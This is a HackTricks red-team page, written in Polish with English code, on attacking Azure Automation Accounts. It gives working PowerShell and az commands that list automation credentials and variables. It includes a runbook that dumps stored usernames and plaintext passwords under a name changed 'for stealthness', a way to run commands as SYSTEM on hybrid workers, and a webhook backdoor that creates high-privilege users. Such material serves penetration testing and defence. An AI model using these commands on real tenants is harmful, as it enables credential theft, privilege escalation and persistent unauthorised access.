Az - Automation Account

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Podstawowe informacje

Z dokumentacji: Azure Automation dostarcza opartą na chmurze automatyzację, aktualizacje systemu operacyjnego i usługę konfiguracji, która wspiera spójną administrację w Twoich środowiskach Azure i nie-Azure. Obejmuje automatyzację procesów, zarządzanie konfiguracją, zarządzanie aktualizacjami, wspólne możliwości i heterogeniczne funkcje.

Są to jak "zaplanowane zadania" w Azure, które pozwalają na wykonywanie rzeczy (działań lub nawet skryptów) w celu zarządzania, sprawdzania i konfigurowania środowiska Azure.

Konto Run As

Gdy używane jest Konto Run as, tworzy aplikację Azure AD z certyfikatem samopodpisanym, tworzy principal usługi i przypisuje rolę Współtwórcy dla konta w aktualnej subskrypcji (wiele uprawnień). Microsoft zaleca używanie Zarządzanej Tożsamości dla Konta Automatyzacji.

To zostanie usunięte 30 września 2023 i zmienione na Zarządzane Tożsamości.

Runbooki i zadania

Runbooki pozwalają na wykonywanie dowolnego kodu PowerShell. Może to być nadużywane przez atakującego do kradzieży uprawnień przypisanego principal (jeśli istnieje). W kodzie Runbooków można również znaleźć wrażliwe informacje (takie jak dane uwierzytelniające).

Jeśli możesz czytać zadania, zrób to, ponieważ zawierają wynik uruchomienia (potencjalne wrażliwe informacje).

Przejdź do Konta Automatyzacji --> <Wybierz Konto Automatyzacji> --> Runbooki/Zadania/Grupy pracowników hybrydowych/Zadania obserwatora/dane uwierzytelniające/zmienne/certyfikaty/połączenia

Pracownik hybrydowy

Runbook może być uruchamiany w kontenerze w Azure lub w Pracowniku Hybrydowym (maszyna nie-Azure). Agent Log Analytics jest wdrażany na VM, aby zarejestrować go jako pracownika hybrydowego. Zadania pracownika hybrydowego są uruchamiane jako SYSTEM w Windows i jako konto nxautomation w Linux. Każdy Pracownik Hybrydowy jest zarejestrowany w Grupie Pracowników Hybrydowych.

Dlatego, jeśli możesz wybrać uruchomienie Runbooka w Pracowniku Hybrydowym Windows, wykonasz dowolne polecenia wewnątrz zewnętrznej maszyny jako System (fajna technika pivot).

Kompromitacja Konfiguracji Stanu (SC)

Z dokumentacji: Azure Automation Konfiguracja Stanu to usługa zarządzania konfiguracją Azure, która pozwala na pisanie, zarządzanie i kompilowanie konfiguracji PowerShell Desired State Configuration (DSC) konfiguracji dla węzłów w dowolnej chmurze lub w lokalnym centrum danych. Usługa importuje również Zasoby DSC i przypisuje konfiguracje do docelowych węzłów, wszystko w chmurze. Możesz uzyskać dostęp do Azure Automation State Configuration w portalu Azure, wybierając Konfiguracja stanu (DSC) w sekcji Zarządzanie konfiguracją.

Wrażliwe informacje mogą być znalezione w tych konfiguracjach.

RCE

Możliwe jest nadużycie SC do uruchamiania dowolnych skryptów na zarządzanych maszynach.

Az - State Configuration RCE

Enumeracja

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Utwórz Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Ekstrahowanie poświadczeń i zmiennych zdefiniowanych w koncie automatyzacji za pomocą Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Możesz zrobić to samo, modyfikując istniejący Run Book, i z konsoli internetowej.

Kroki do Ustawienia Automatycznego Tworzenia Użytkownika z Wysokimi Uprawnieniami

1. Zainicjuj Konto Automatyzacji

• Wymagana Akcja: Utwórz nowe Konto Automatyzacji.

• Specyficzne Ustawienie: Upewnij się, że "Utwórz konto Azure Run As" jest włączone.

2. Importuj i Ustaw Runbook

• Źródło: Pobierz przykładowy runbook z MicroBurst GitHub Repository.

• Wymagane Akcje:

• Importuj runbook do Konta Automatyzacji.

• Opublikuj runbook, aby był wykonywalny.

• Dołącz webhook do runbooka, umożliwiając zewnętrzne wyzwalacze.

3. Skonfiguruj Moduł AzureAD

• Wymagana Akcja: Dodaj moduł AzureAD do Konta Automatyzacji.

• Dodatkowy Krok: Upewnij się, że wszystkie moduły Automatyzacji Azure są zaktualizowane do najnowszych wersji.

4. Przydzielanie Uprawnień

• Role do Przydzielenia:

• Administrator Użytkowników

• Właściciel Subskrypcji

• Cel: Przydziel te role do Konta Automatyzacji w celu uzyskania niezbędnych uprawnień.

5. Świadomość Potencjalnej Utraty Dostępu

• Uwaga: Bądź świadomy, że skonfigurowanie takiej automatyzacji może prowadzić do utraty kontroli nad subskrypcją.

6. Wyzwól Tworzenie Użytkownika

• Wyzwól webhook, aby utworzyć nowego użytkownika, wysyłając żądanie POST.

• Użyj dostarczonego skryptu PowerShell, upewniając się, że zastępujesz $uri swoim rzeczywistym adresem URL webhooka i aktualizujesz $AccountInfo pożądanym nazwą użytkownika i hasłem.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

References

• https://learn.microsoft.com/en-us/azure/automation/overview

• https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview

• https://github.com/rootsecdev/Azure-Red-Team#runbook-automation

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

• Sprawdź plany subskrypcyjne!

• Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.